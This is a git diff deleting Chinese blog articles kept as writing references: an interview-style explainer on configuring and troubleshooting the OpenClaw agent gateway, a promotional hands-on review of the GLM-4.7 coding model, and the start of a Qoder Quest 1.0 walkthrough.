-遇到权限错误就加 `sudo`。
-
-老王点点头:“那卸载后怎么验证干净?”
-
-我说:“执行以下命令,确认没有残留:”
-
-```bash
-# 检查全局包
-npm list -g openclaw
-
-# 检查目录
-ls ~/.openclaw/
-
-# 检查端口占用
-lsof -i:18789
-```
-
-全部返回空或“not found”,才算卸载干净。
-
-老王听完点点头:“行,卸载这块确实熟。那我追问一下,`~/.openclaw/` 目录里都有什么?为什么删这个目录这么重要?”
-
-### 02、龙虾的核心目录架构了解吗?
-
-“王哥,你这是要考我架构啊。”
-
-`~/.openclaw/` 是 OpenClaw 的“神经中枢”,里面存放着所有配置和状态。
-
-```bash
-~/.openclaw/
-├── openclaw.json # 全局配置文件
-├── gateway/ # Gateway 相关
-│ ├── config.json # Gateway 配置
-│ ├── logs/ # 日志目录
-│ └── pid # 进程 ID 文件
-├── plugins/ # 插件目录
-│ ├── @openclaw/ # 官方插件
-│ └── @wecom/ # 第三方插件
-├── workspaces/ # Agent 工作区
-│ ├── default/ # 默认 Agent
-│ └── paigit/ # 自定义 Agent
-├── skills/ # 技能包
-├── cache/ # 缓存目录
-└── .env # 环境变量
-```
-
-
-
-老王继续追问:“这里面的每个目录都有什么用?你挑重点讲。”
-
-#### openclaw.json:全局配置文件
-
-这是 OpenClaw 的“大脑配置中心”。
-
-```json
-{
- "version": "2026.3.2",
- "gateway": {
- "port": 18789,
- "auth": "token",
- "host": "0.0.0.0"
- },
- "channels": {
- "feishu": {
- "appId": "cli_xxx",
- "appSecret": "xxx"
- },
- "wecom": {
- "botId": "xxx",
- "secret": "xxx"
- }
- },
- "model": {
- "provider": "glm",
- "profile": "coding-plan",
- "defaultModel": "glm-5"
- },
- "plugins": [
- "@openclaw/feishu-plugin",
- "@wecom/wecom-openclaw-plugin"
- ]
-}
-```
-
-里面记录了:
-
-- **Gateway 配置**:监听端口、认证方式、绑定地址
-- **IM 通道配置**:飞书、企微等应用的凭证
-- **大模型配置**:提供商、套餐、默认模型
-- **插件列表**:已安装的插件及其加载顺序
-
-王哥追问:“Gateway 配置里的 `auth: "token"` 是什么意思?Gateway 到底是干什么的?”
-
-
-
-
-
-
-
-#### Gateway:消息路由中枢
-
-“王哥,Gateway 是 OpenClaw 架构里最关键的设计。”
-
-很多人用 OpenClaw,只知道装完跑 `openclaw gateway start`,但不知道 Gateway 到底在干啥。
-
-简单说,Gateway 是一个**常驻后台的消息路由服务**。
-
-它的职责有三层:
-
-
-
-
-
-**第一层:接收消息**
-
-你在飞书群里@机器人,飞书会把消息推送到 Gateway。Gateway 收到后,解析消息内容,识别是哪个 Agent、哪个会话。
-
-**第二层:分发任务**
-
-Gateway 把消息路由给对应的 Agent 处理。如果你配置了多个 Agent(比如一个负责代码审核,一个负责会员审批),Gateway 会根据消息来源判断该交给谁。
-
-**第三层:返回结果**
-
-Agent 处理完任务后,把结果交给 Gateway,Gateway 再通过 IM 通道发回飞书。
-
-```
-飞书消息 → Gateway → Agent → 大模型 → Agent → Gateway → 飞书回复
-```
-
-老王听完眼睛一亮:“小伙子有水平啊。为什么要这样分层?Gateway 和 Agent 为什么不耦合在一起?”
-
-我说:“解耦。Gateway 负责 IM 通信,Agent 负责任务执行。这样你可以一个 Gateway 挂多个 Agent,每个 Agent 用不同的模型、跑不同的任务,互不干扰。”
-
-老王点点头:“那如果 Gateway 挂了怎么办?有没有高可用方案?”
-
-我说:“王哥,你这问题越来越深了。目前 OpenClaw 官方没有提供高可用方案,Gateway 是单点的。如果要上生产,我的建议是:”
-
-- Gateway 集群部署,用负载均衡器分发请求
-- 会话状态下沉到 Redis,Gateway 无状态
-- 多实例之间用分布式锁协调任务执行
-
-老王若有所思:“那插件呢?OpenClaw 的插件机制是怎么跑的?”
-
-#### 插件体系:微内核架构
-
-我说:“OpenClaw 采用的是微内核架构。”
-
-核心只提供最基础的能力——消息收发、任务调度、工具调用。其他功能全部通过插件扩展。
-
-- 飞书支持?插件。
-- 企微支持?插件。
-- 文档处理?插件。
-
-插件安装在 `~/.openclaw/plugins/` 目录下,每个插件是一个独立的 npm 包。
-
-```bash
-# 安装飞书插件
-openclaw plugins install @openclaw/feishu-plugin
-
-# 安装企微插件
-openclaw plugins install @wecom/wecom-openclaw-plugin
-
-# 查看已安装插件
-openclaw plugins list
-```
-
-
-
-
-
-老王追问:“插件加载的时机是什么?Gateway 启动的时候?如果两个插件对同一条消息都想处理,怎么解决冲突?”
-
-我说:“对,Gateway 启动时会扫描 plugins 目录,按 openclaw.json 里的顺序加载所有插件。每个插件会注册自己的消息处理器和工具函数。”
-
-“冲突解决靠优先级机制——openclaw.json 里可以设置插件优先级,优先级高的先处理。另外每个插件有自己的命名空间,互不干扰。”
-
-老王满意地点点头:“架构这块讲清楚了。那我再问你——Gateway 的生命周期管理是怎样的?启动、停止、重启流程是什么?中间有什么坑?”
-
-#### Gateway 的生命周期管理
-
-我说:“王哥,这个问题很实用,很多人踩过坑。”
-
-**启动 Gateway**
-
-```bash
-openclaw gateway start
-```
-
-启动时会做几件事:
-
-1. 加载 `openclaw.json` 配置
-2. 扫描并加载插件
-3. 初始化 IM 通道(连接飞书、企微等)
-4. 启动 HTTP 服务监听端口
-5. 写入 pid 文件
-
-**检查 Gateway 状态**
-
-```bash
-openclaw gateway status
-```
-
-会显示:
-
-- 运行状态(running / stopped)
-- 进程 ID
-- 监听端口
-- 已加载的插件数量
-
-**停止 Gateway**
-
-```bash
-openclaw gateway stop
-```
-
-如果 Gateway 卡住,可以强制停止:
-
-```bash
-openclaw gateway stop --force
-```
-
-或者直接杀进程:
-
-```bash
-kill $(cat ~/.openclaw/gateway/pid)
-```
-
-**重启 Gateway**
-
-修改配置后需要重启:
-
-```bash
-openclaw gateway restart
-```
-
-老王追问:“启动的时候常见的报错有哪些?怎么排查?”
-
-我说:“最常见的有三个问题。”
-
-**问题一:端口被占用**
-
-```bash
-Error: Port 18789 is already in use
-```
-
-解决方法:
-
-```bash
-# 查看谁占用了端口
-lsof -i:18789
-
-# 杀掉占用进程
-kill -9
-```
-
-**问题二:插件加载失败**
-
-```bash
-Error: Failed to load plugin @openclaw/feishu-plugin
-```
-
-解决方法:
-
-```bash
-# 重新安装插件
-openclaw plugins uninstall @openclaw/feishu-plugin
-openclaw plugins install @openclaw/feishu-plugin
-```
-
-**问题三:配置文件损坏**
-
-```bash
-Error: Invalid JSON in openclaw.json
-```
-
-解决方法:检查 JSON 格式,或者直接删掉重新配置。
-
-老王点点头:“那消息流转呢?当你在飞书群里@机器人时,消息是怎么流转到 Agent 并返回结果的?整个链路涉及哪些组件?”
-
-### 03、消息流转的完整链路
-
-我说:“王哥,是这样的。”
-
-
-
-
-**第一步:事件订阅**
-
-飞书把消息推给 Gateway。这需要在飞书开放平台配置事件订阅,开启 `im.message.receive_v1` 事件。
-
-**第二步:消息解析**
-
-Gateway 收到消息后,解析消息内容,识别来源(哪个群、哪个用户)和意图(要干什么)。
-
-**第三步:路由分发**
-
-根据 bindings 配置,把消息发给对应的 Agent。如果你配置了多个 Agent,Gateway 会根据消息来源判断该交给谁。
-
-**第四步:执行任务**
-
-Agent 调用大模型处理任务。如果是复杂任务,Agent 会拆解成多个步骤,一步步执行。
-
-**第五步:结果返回**
-
-Gateway 把结果通过 IM 通道返回给飞书。
-
-老王追问:“那状态是怎么维护的?多轮对话的上下文存在哪里?”
-
-我说:“会话上下文存在 `~/.openclaw/workspaces//memory/` 目录下。每次对话会序列化保存,Gateway 重启后可以恢复。多轮对话用 session_id 标识,防止串台。”
-
-老王接着问:“如果同时有 100 个用户@机器人,Gateway 怎么处理并发?”
-
-我说:“Gateway 用异步非阻塞 IO 处理请求。每个消息生成唯一 request_id,防止混淆。Agent 执行队列化,避免资源竞争。”
-
-老王点点头:“那 Agent 响应很慢怎么办?有没有优化方案?”
-
-我说:“有几种优化思路:”
-
-- 换更快的模型(比如 GPT-5.4)
-- 简化 BOOT.md 里的指令
-- 用流式输出,边生成边返回
-- 复杂任务后台异步执行,先返回 ACK
-
-老王听完感慨:“你这理解得够深的。那我再问你一个实际应用的问题,你用 OpenClaw 干过什么真实的业务场景?别给我整那些 demo。”
-
-### 04、真实业务场景:gitcode 账号批量审核
-
-我说:“王哥,这个问题问到我心坎里了。”
-
-讲一个真实的场景——技术派(paicoding.com)的 gitcode 账号审核。
-
-技术派加入的会员需要开通 gitcode 代码仓库的访问权限。以前这个流程是这样的:
-
-1. 会员申请加入
-2. 我收到通知
-3. 手动打开 gitcode 后台
-4. 搜索用户昵称
-5. 添加到对应的项目组
-6. 发消息通知会员审核通过
-
-一个账号还好,如果一次来 20 个呢?光这个流程就要折腾半小时。
-
-现在呢?我把这个任务交给了 OpenClaw。
-
-**第一步:创建一个专属 Agent**
-
-```bash
-openclaw agents add PaiGit --workspace ~/openclaw-workspaces/paigit
-```
-
-**第二步:配置 BOOT.md 告诉 Agent 它的职责**
-
-```markdown
-# PaiGit 职责
-
-你是技术派的 gitcode 账号审核助手。
-
-当收到飞书消息包含用户昵称时:
-
-1. 登录 gitcode 后台
-2. 搜索用户
-3. 添加到技术派-会员组
-4. 回复审核结果
-```
-
-**第三步:绑定飞书通道**
-
-在飞书群里,我直接发消息:
-
-> 帮我审核以下用户:张三、李四、王五
-
-OpenClaw 收到消息后,自动执行整个审核流程。20 个账号,1 分钟搞定。
-
-
-
-
-
-老王听完眼睛都直了:“这效率提升有点狠啊。”
-
-我说:“还不止。我还给它设了定时任务,每天早上 9 点自动检查有没有新的待审核申请,有的话直接处理,处理完推送到飞书群。”
-
-老王来了兴趣:“还有没有别的场景?”
-
-### 05、场景二:飞书群消息同步
-
-我又给他讲了一个——飞书群消息同步。
-
-技术派有好几个飞书群:开发群、运营群、会员群。有时候一个群里发的消息需要同步到其他群,比如新功能上线通知。
-
-以前的做法是:手动复制粘贴,或者用飞书的转发功能。但转发格式不好看,而且容易漏。
-
-现在我用 OpenClaw 搞定了这个流程。
-
-#### 配置 Webhook
-
-每个飞书群都有一个 Webhook 地址,可以在群设置里找到。
-
-把这些 Webhook 地址告诉 OpenClaw:
-
-> 记住以下群的 Webhook 地址:
->
-> - 开发群:https://open.feishu.cn/open-apis/bot/v2/hook/xxx
-> - 运营群:https://open.feishu.cn/open-apis/bot/v2/hook/yyy
-> - 会员群:https://open.feishu.cn/open-apis/bot/v2/hook/zzz
-
-#### 发送同步指令
-
-> 在开发群、运营群、会员群同时发送:派聪明 v2.0 今天上线了,新增了 AI 面试助手功能,大家快去体验!
-
-
-
-
-
-OpenClaw 会自动调用 Webhook,把消息发到三个群。
-
-老王点点头:“这个场景实用,省得一个个群转发。”
-
-## 06、场景三:定时任务推送
-
-“定时任务呢?你刚才说的每天早上 9 点给你推送最新的 hacknews 消息,是怎么实现的?”
-
-OpenClaw 支持用自然语言创建定时任务。
-
-直接告诉它:
-
-> 每天早上 9 点,检查有 hacknews 有没有好玩的AI讯息,整理一下发送给我。
-
-
-
-
-
-OpenClaw 会创建一个定时任务,到点自动执行。
-
-定时任务的底层实现是 cron。OpenClaw 会把自然语言转成 cron 表达式,然后在后台调度执行。
-
-老王追问:“定时任务如果执行失败了怎么办?有没有重试机制?”
-
-我说:“目前 OpenClaw 没有内置重试机制,但可以通过 BOOT.md 里加错误处理逻辑来实现。比如告诉 Agent:'如果任务执行失败,等待 5 分钟后重试,最多重试 3 次'。”
-
-“另外,定时任务执行结果会记录到日志里,可以在 `~/.openclaw/gateway/logs/` 目录下查看。”
-
-老王听完感慨:“这三个场景都挺实用的,不是那种为了用工具而用工具。”
-
-### 07、大模型集成的工程化问题
-
-老王话锋一转:“那我再问你一个方向——OpenClaw 需要调用大模型 API,在实际使用中,你遇到过哪些问题?比如 token 限制、响应延迟、费用控制。你是怎么解决的?”
-
-我说:“王哥,这个问题太实际了,我踩过不少坑。”
-
-#### token 优化
-
-OpenClaw 烧 token 是真的快。一个稍微复杂的任务,Agent 在后台可能调用十几轮甚至几十轮大模型。
-
-我的优化方法:
-
-- **prompt 压缩**:去除冗余信息,只传必要上下文
-- **上下文裁剪**:只保留最近 N 轮对话
-- **结果缓存**:相同问题直接返回缓存结果
-
-#### 响应加速
-
-大模型响应慢是通病。我的方案:
-
-- **流式输出**:边生成边返回,减少用户等待
-- **异步处理**:复杂任务后台执行,先返回 ACK
-- **模型选择**:简单任务用 Lite 模型,复杂任务用 Pro 模型
-
-#### 费用控制
-
-这个最头疼。我的做法:
-
-- **配额管理**:每天/每月设置 token 上限
-- **成本追踪**:记录每个任务的 token 消耗
-- **自动降级**:额度用完时切换到便宜模型
-
-老王追问:“如果大模型 API 挂了怎么办?有没有降级方案?”
-
-我说:“有。大模型挂了,切换到本地模型(比如 Qwen)。网络不通,用缓存兜底。超时处理,返回友好提示而非报错。”
-
-### 08、生产环境部署的考量
-
-老王最后问了一个很实际的问题:“如果让你把 OpenClaw 部署到生产环境,你会考虑哪些问题?”
-
-我说:“王哥,这个问题我能讲半小时。我挑重点说。”
-
-**高可用**
-
-- Gateway 集群部署,用负载均衡器分发请求
-- 会话状态下沉到 Redis,Gateway 无状态
-- 多实例之间用分布式锁协调任务执行
-
-**监控**
-
-- Gateway 层:监听端口、连接数、QPS
-- Agent 层:任务执行成功率、平均响应时间
-- 模型层:token 消耗、费用统计、模型调用成功率
-
-**日志**
-
-- 按模块分割日志(gateway.log、agent.log、plugin.log)
-- 关键操作记录审计日志
-- 日志轮转和归档(保留 30 天)
-
-**安全**
-
-- API Key 加密存储,支持动态轮换
-- 插件白名单机制,只允许官方插件
-- 网络隔离,Gateway 只对外暴露必要端口
-
-老王点点头:“最后一个问题——你在用 OpenClaw 的过程中踩过什么坑?怎么排查的?”
-
-### 09、常见问题排查实战
-
-我说:“我挑几个最典型的说。”
-
-#### 问题一:Gateway 启动后收不到消息
-
-老王问:“这个怎么排查?”
-
-我说:“分三步走。”
-
-**第一步:检查日志**
-
-```bash
-cat ~/.openclaw/gateway/logs/error.log
-```
-
-看有没有报错信息。常见错误有:飞书 App ID 填错、权限没开通、事件订阅没配置。
-
-**第二步:检查通道状态**
-
-```bash
-openclaw channels status
-```
-
-看飞书/企微通道是不是正常连接。
-
-**第三步:检查飞书配置**
-
-去飞书开放平台,确认:
-
-- 事件订阅已开启
-- `im.message.receive_v1` 事件已添加
-- 长链接模式已启用
-
-
-
-
-
-#### 问题二:模型调用失败
-
-老王问:“这个呢?”
-
-我说:“模型调用失败一般是三个原因:”
-
-**原因一:API Key 无效或过期**
-
-去大模型平台检查 API Key 状态,必要时重新生成。
-
-**原因二:额度用尽**
-
-如果是 Coding Plan 套餐,检查本月额度是否用完。用完了要么等下个月,要么升级套餐。
-
-**原因三:网络问题**
-
-```bash
-# 测试网络连通性
-curl -I https://open.bigmodel.cn
-```
-
-如果连不上,检查代理配置或防火墙设置。
-
-#### 问题三:Agent 响应很慢
-
-老王问:“响应慢怎么优化?”
-
-我说:“分情况处理。”
-
-**如果是模型推理慢**:
-
-- 换更快的模型(Doubao-Seed-2.0-Lite 比 Pro 快 30%)
-- 简化 prompt,减少 token 数量
-- 开启流式输出,边生成边返回
-
-**如果是任务执行慢**:
-
-- 拆分大任务,分批执行
-- 用缓存减少重复计算
-- 后台异步执行,先返回 ACK
-
-**如果是网络延迟**:
-
-- 用离你最近的模型服务节点
-- 检查网络链路,优化代理配置
-
-#### 问题四:多 Agent 消息串台
-
-老王问:“这个我遇到过,怎么解决?”
-
-我说:“多 Agent 串台是因为 bindings 配置不清晰。”
-
-在 `openclaw.json` 里用 `bindings` 字段明确指定每个 Agent 对应的通道:
-
-```json
-{
- "bindings": [
- {
- "agentId": "PaiGit",
- "match": {
- "channel": "feishu",
- "appId": "cli_xxx"
- }
- },
- {
- "agentId": "PaiReview",
- "match": {
- "channel": "feishu",
- "appId": "cli_yyy"
- }
- }
- ]
-}
-```
-
-这样 Gateway 收到消息时,会根据 App ID 精准路由到对应 Agent,不会串台。
-
-老王听完感慨:“你这排查思路挺清晰的,不是那种遇到问题就懵的人。”
-
-我说:“王哥,这都是踩坑踩出来的经验。OpenClaw 文档虽然全,但很多问题得自己摸索。”
-
-老王沉默了两秒,然后说:“你什么时候能来上班?”
-
-## ending
-
-不瞒大家说,有小伙伴最近去面试,的确有遇到面试官问 OpenClaw 的,可惜他之前没有准备,后悔不已。
-
-
-
-这波浪就在眼前。
-
-你冲,它在眼前。你不冲,它仍在眼前。
-
-重要的是应用场景,为你所用。
-
-假如你没有应用场景,也没必要硬凑。没有龙虾的日子,也许会更幸福一点。
-
-反正我爸每天就是打打牌,晒晒太阳,我就很羡慕他。
-
-当然了,有龙虾的日子,我也过得很幸福。因为它确实有帮助到我——一个简单的 gitcode 账号审核,就帮了我大忙。
-
-【**工具的价值,不在于它有多火,而在于它能不能帮你解决真实的问题。**】
-
-我们下期见,冲啊!
\ No newline at end of file
diff --git a/.codex/skills/ai-article/references/glm4-7.md b/.codex/skills/ai-article/references/glm4-7.md
deleted file mode 100644
index e4efc6be9a..0000000000
--- a/.codex/skills/ai-article/references/glm4-7.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# 实测GLM-4.7,我想给他当股东了
-
-大家好,我是二哥呀。
-
-这几天,相信大家肯定都被一个产品刷屏了。
-
-GLM-4.7。
-
-就是这个后端工程能力媲美 Claude Sonnet 的国产大模型。
-
-
-
-总参数 355B,专门面向 Coding 场景强化了编码、长程任务规划等能力,目前已在 Hugging Face、ModelScope 开源部署!
-
-
-
-真不是我在刻意吹捧。你瞧,老外都在 x 上盛赞:GLM-4.7 超越了 Claude-Sonnet-4.5 和 GPT-5。
-
-
-
-这是一个了不起的成绩!
-
-下面是我通过 GLM-4.7 完成的一个 Agent 项目,可以实现工作流的拖拉编排。
-
-
-
-## 01、使用 Claude Code 接入 GLM-4.7
-
-搞不懂,Claude 明明很封闭,直接断供 Open Code,逼着 Clawdbot 改名 Moltbot。
-
-但 Claude Code 的模型调用层,却是可配置、可替换的。我们只需要在 `.claude/settings.json` 中把 ANTHROPIC_AUTH_TOKEN 替换为 GLM-4.7 的 API Key 就可以了。
-
-另外一个配置项 ANTHROPIC_BASE_URL 的值固定为 `https://open.bigmodel.cn/api/anthropic`。
-
-
-
-一点都不难吧?
-
-保存后,重启 Claude Code,输入 `/status`,如果看到 BigModel.cn 的身影,就说明配置成功了。
-
-
-
-给自己比个耶吧!
-
-从此以后,你将拥有一个无所不能的 Agent,可以帮你写代码、修 bug、读源码,甚至可以帮你搭建项目骨架、部署生产环境上线等。
-
-## 02、GLM-4.7 的后端工程能力
-
-前置环境搞定后,我们直接来新增需求,很简单一句话,我们看看 GLM-4.7 是否能够通情达理,get 到我们的诉求。
-
-> 我现在需要在大模型节点下新增一个智谱节点
-
-tips:拒绝花里胡哨的提示词,真正检验大模型的能力😄
-
-
-
-
-能看到,GLM-4.7 会先探索我们的代码库,了解当前大模型节点的实现结构。
-
-这一点至关重要,就好像我们打算出远门,总要去地图上看看路线,是吧,搞清楚目标和路线后再动手,免得返工。
-
-遇到需要权限的诉求,我们直接给它。
-
-
-
-搞清楚工作流的执行引擎后,GLM-4.7 开始查看数据库和前端代码,非常严谨。
-
-
-
-前后端的代码+数据库搞清楚后,开始正式写代码。真正做到了“先思考、再行动”。
-
-
-
-有代码需要调整的地方,也会清楚的告诉我们。
-
-
-
-我选择全权交给 GLM-4.7 来处理,我只要最后的结果,不过在历史上下文当中,我们也可以再次确认都在哦了哪些修改,一目了然。
-
-
-
-和其他模型有很大的不同,GLM-4.7 非常非常负责任,除了完成你需要他干的活,还会自动检查其他哪些地方需要修改。
-
-
-
-所有的任务都搞定后,会给我们列一个任务完成清单。
-
-
-
-好,我们直接来看一下效果,完全符合我的预期啊,这可不是闹着玩的 demo 项目,而是一个完全可以运行的工作流编排项目,也是当前最火的 AI 业务之一。
-
-
-
-竟然一次性搞定了!
-
-从整个交互体验来看,GLM-4.7 更习惯站在“任务交付”的视角,而不是“回答问题”的视角。它给出的不再是零散代码片段,而是:
-
-- 明确的模块划分
-- 可运行的代码骨架
-- 清楚的依赖关系和执行顺序
-- 对边界情况的主动补充说明
-
-这种感觉很像一个工程经验老道的同事,而不是一个只会补全代码的工具。
-
-有意思,有意思,越来越有意思了。
-
-## 03、GLM-4.7 的 bug 修复能力
-
-考验 GLM-4.7 的时候到了,因为真正能拉开差距的地方,真不是第一次写代码的时候,而是出问题之后,能不能把 bug 给收拾干净。
-
-接口报错、鉴权失败、参数不对、依赖冲突,这些东西不可能一次写对。
-
-GLM-4.7 给我的体感非常明确:他不是在“猜怎么改”,而是顺着错误把问题先定位一遍。
-
-比如我在调试过程中遇到了一个很典型的 API 鉴权问题,请求已经发出,但却响应失败了。我没去分析日志,也没有补充额外解释,而是简单粗暴把错误堆栈原样丢给 GLM-4.7。
-
-
-
-GLM-4.7 没有着急去改代码,而是先判断:
-
-- 是 Key 配置问题,还是 Header 拼错?
-- 是鉴权方式不匹配,还是请求路径有误?
-- 当前代码和官方示例是否存在实现差异?
-
-这个思考方式,就有点老员工的“工程化”思维了。然后在定位到问题之后,他会明确告诉我们:这里还是那里不对、为什么不对、应该怎么改。
-
-这里顺手分享一个非常实用的小技巧,可能很多人都忽视了。如果你发现第一次请求发出后,还有一些信息需要补充,可以在 GLM-4.7 返回结果前直接再输入一次附加信息。
-
-
-
-还有一种场景,不知道大家有没有注意到。在修 bug 时非常常见:当前实现和官方 demo 对不上。
-
-这时候最省事的方式就是——把官方代码示例直接丢给 GLM-4.7。这其实也在考验我们的 Vibe Coding 能力,能不能必要时刻给 AI 一个明确的指示。
-
-省得他在那瞎琢磨。
-
-这一步的价值在于:我们不需要自己一点点 diff 官方和实现的差异,模型会主动帮我们把“意图”和“实现”对齐。
-
-
-
-当然,bug 修完不是终点,它还会自己检查一遍。这一点,是我觉得 GLM-4.7 非常加分的地方。
-
-当你以为事情已经结束了,它往往会多做一步:扫一遍有没有遗漏的地方。
-
-- 是否还有调用链没改干净?
-- 是否有前端或数据库字段需要同步调整?
-- 是否存在潜在的边界问题?
-
-
-
-等所有地方都确认无误之后,他才会给你一个完整的修改清单。
-
-讲良心话,我试过其他的模型,这种自我反思的能力就差点意思,经常是你让他改一个地方,他就改一个地方。
-
-殊不知,bug 就藏着这里面,因为有很多时候,代码都是联动的,牵一发而动全身。
-
-老程序员经常告诫我们:勿动屎山,就是因为屎山虽然臭,但它是能运行的。你以为你改好了,实际上 P0 事故可能离你不远了。😄
-
-我们人的精力毕竟有限,但大模型不一样啊,无非就是费点token。
-
-好,我们来看一下修改后的效果,非常 nice。一个完整的输入 →llm 大模型 → 超拟人合成 → 输出的工作流编排就算是完成了。
-
-
-
-## 04、GLM-4.7 的前端工程能力
-
-现在的执行状态,是等所有节点都跑完之后,前端一次性展示结果。
-
-但从用户体验上来说,状态流转应该是一个动态过程:
-
-- LLM 节点开始执行 → 执行中 → 执行完成
-- 接着切换到 TTS 节点 → 执行中 → 执行完成
-- 最后到结束节点,整体流程结束
-
-我们把需求直接扔给 GLM-4.7:
-
-> 现在有个问题,我发现,执行状态、节点执行结果都是等所有节点都执行完后才显示出来的,实际上这应该是一个动态的过程,llm 节点开始执行的时候执行状态就切到 llm 节点开始执行、执行中、执行结束,然后到 tts 的开始执行、执行中、执行结束,最后到结束节点,这应该是实时响应的。前后端需要联调起来。
-
-面对这个问题,GLM-4.7 并没有一上来就写代码,而是先明确了一点:这是一个典型的「执行状态实时推送」问题,技术上可以用 SSE,也可以用 WebSocket。
-
-
-
-为了方便后期能够主动中断工作流的执行,GLM-4.7 选择了 WebSocket。
-
-
-
-GLM-4.7 并没有只盯着前端,而是从后端执行引擎开始改起:
-
-- 后端增加 WebSocket 依赖和基础配置
-- 新增 WebSocket Handler,用于推送节点执行状态
-- 在执行引擎中,把“节点生命周期”拆成可感知的事件
-- 在节点开始、执行中、结束等关键节点,主动向前端推送状态
-
-后端改完之后,它才开始动前端。前端这边的改动也非常清晰:
-
-- 建立 WebSocket 连接
-- 监听后端推送的执行事件
-- 根据节点 ID 实时更新节点状态
-- 让画布上的节点“活”起来,而不是等结果一次性刷新
-
-
-
-有一个细节,我觉得特别加分。在节点执行完成后,GLM-4.7 顺手把节点执行结果里的 JSON 文本做了格式化展示,而不是直接把一坨字符串甩给用户。
-
-
-
-这个动作看起来很小,但非常贴心。
-
-我录了一个完整的视频,大家可以看看,非常完美。从输入 → LLM 执行 → TTS 合成 → 输出完成,
-每一步都是实时可见的。
-
-【视频】
-
-到这一刻,我心里已经笃定了:GLM-4.7 已经不只是“会写前端代码”,还能理解前端在整个系统中的位置和责任。
-
-除了硬核的实战代码能力之外,这次的 GLM-4.7 还进一步提升了前端审美。
-
-我们直接来让它来帮我们把用户界面改造为赛博朋克风。
-
-
-
-当然了,这个过程中也出现了一些其他的小问题,但好在经过我和 GLM-4.7 的通力合作,算是都解决了。来看一下最后呈现的效果吧。
-
-
-
-是不是很酷?
-
-## 05、Coding Plan 年包计划
-
-如果只让我用一句话来总结真实体感,那就是:
-
-**GLM-4.7,已经坐实了 Claude 的最佳平替,绝不是嘴上说说那种。**
-
-从 GLM-4.5 出来能承接一部分编程小项目,再到 GLM-4.6 更强的编程,智谱今年在 Coding 上的发力是完全没有想到的力度。
-
-不是在榜单里跑分,也不是写几个 demo case,而是放进真实工程、真实 Agent、真实联调环境里之后,你会明显感觉到一件事——它确实是一个称心&顺手的「工程生产力工具」了。
-
-- 它能读懂真实项目结构,而不是只看单文件;
-- 它习惯从“任务交付”而不是“回答问题”的角度出发;
-- 它会主动检查遗漏、修 bug、补联调,而不是写完就走;
-- 它在前后端协同、状态流转、工程约束这些地方,明显是有经验积累的。
-
-我自己是订阅了智谱的 Coding Plan 年包计划,平常开发基本上不用担心 token 的用量问题,性价比这一点,对比一下 Claude 那是香的没得说。
-
-
-
-- 更稳定的 Coding 专用模型调度策略
-- 对长上下文、复杂任务拆解的明显优化
-- 在 Claude Code、IDE 类工具里的兼容性持续增强
-- 对 Agent 场景、工具调用、任务连续性的支持越来越完整
-
-从一个开发者的角度说,这种投入是非常值得的。
-
-如果你现在正好在做 Agent、做工作流、做复杂业务系统,或者你只是单纯想提升自己的工程效率、在 AI 时代把生产力再往上抬一档。
-
-那 GLM-4.7 **绝对是一个明智的选择。**
-
-## 06、ending
-
-我坚信,AI 编程,一定会有光明的未来。
-
-哪怕现阶段还有很多的不完美。
-
-但日子还长,只要抱有希望,抱有对这个世界的热爱。
-
-我们就一定能用 AI Coding 实现更多的创业,挖掘更多的商业价值。
-
-给这个世界创造更多的可能性。
-
-如果这篇内容对你有用,记得点赞,转发给需要的人。
-
-我们下期见!
-
-
diff --git a/.codex/skills/ai-article/references/quest-2.md b/.codex/skills/ai-article/references/quest-2.md
deleted file mode 100644
index 916373777e..0000000000
--- a/.codex/skills/ai-article/references/quest-2.md
+++ /dev/null
@@ -1,233 +0,0 @@
-# 转发很高
-
-大家好,我是二哥呀。
-
-刚升级完 Qoder 到 0.2.29,就看到这个提醒:Quest 1.0 全新发布,将任务交给 Quest,Agent 能够自主完成高质量、端到端、可交付的结果,**无需人工持续介入**。
-
-
-
-讲真,这才是 AI Coding 的终极未来嘛,自主进化,我们只需要告诉 Qoder 我们的想法,Quest 会先对齐需求和约束,然后执行并验收。
-
-整个过程据说能持续 26 多小时,这意味着 Quest 1.0 模式下的 Qoder,具备了长上下文的能力。
-
-
-
-Quest 1.0 最重要的升级是:Quest 不再依赖单一的模型完成所有任务。它的智能路由系统会根据子任务特性,比如代码生成、逻辑推理、视觉理解、重构优化,自动调度到最适合的 SOTA 模型。
-
-我也录了一个完整的视频,大家可以感受下。
-
-【视频】
-
-接下来我会带大家真正实操一把,体验用 Quest 1.0 重构传统 Java 后端项目的完整过程——通过 SpringAI 和SpringAI Alibaba 给项目赋能 AI 能力。
-
-
-
-## 01、导入 PaiAgent
-
-好,打开我们的 PaiAgent 项目,可以看到 Quest 模式从左侧的侧边栏移动到了导航栏的左上角。
-
-> 源码已经开源在 GitHub 上:https://github.com/itwanger/PaiAgent
-
-
-
-点击【Editor】旁边的【Quest】就可以切换到全新布局。在 Quest 1.0 模式下,左边是 Agent 对话区,右侧是编码区和预览区。
-
-
-
-Agent 对话区域从右到左,也就意味着在 Quest 1.0 模式下,真正的主角是 Agent。点击 Quest 右侧的【+】号,可以开启一个全新视窗,非常干净。
-
-
-
-在 Claude Code 或者 Qoder CLI 模式下,Vibe Coding 主打一个你说一件事它干一件事。
-
-**在 Quest 1.0 模式下,主打一个你说一件事,它干 N 件事**。它会把我们的一个想法,或者一个需求掰开揉碎确认一遍,然后自己拆任务,自己写代码,自己跑起来,自己验收,甚至出错了还能自己改 bug。
-
-这种能力,在产品初期的骨架搭建环节,在项目重构技术栈的环节,会非常有帮助。
-
-## 02、集成 SpringAI
-
-前面我们搭建好了 PaiAgent 项目的骨架,但还没有集成 SpringAI,那接下来,我们就通过 Qoder 的 Quest 1.0 来重构一下技术栈。
-
-
-
-我的提示词是:
-
-> PaiAgent 项目目前还没有集成 SpringAI,但 SpringAI 目前非常火,很多岗位的 jd 中明确要求有这方面的开发经验,目前稳定的版本是 SpringAI 1.1.2 官方 doc 为:https://docs.spring.io/spring-ai/reference/ 那我希望把 SpringAI 集成进来后,重构我们原有的和大模型通信的方式。
-
-Qoder 会提示我们这事一个涉及架构重构的复杂任务,最好先生成 Spec,确认后再开始执行。
-
-
-
-OK,我们点击【生成 Spec】。
-
-能看得出来,此时 Qoder 进行了深度思考,它首先探索现有的代码库,了解当前与大模型通信的实现方式,接着查阅 Spring AI 的官方文档,然后设计集成方案。
-
-
-
-这个过程其实蛮值得我们停下来去学习和思考的。关键的地方来了,Qoder 向我们提出了三个问题。
-
-第一个:集成 SpringAI 后,是否需要保持现有的动态配置能力,我选择 A。
-
-
-
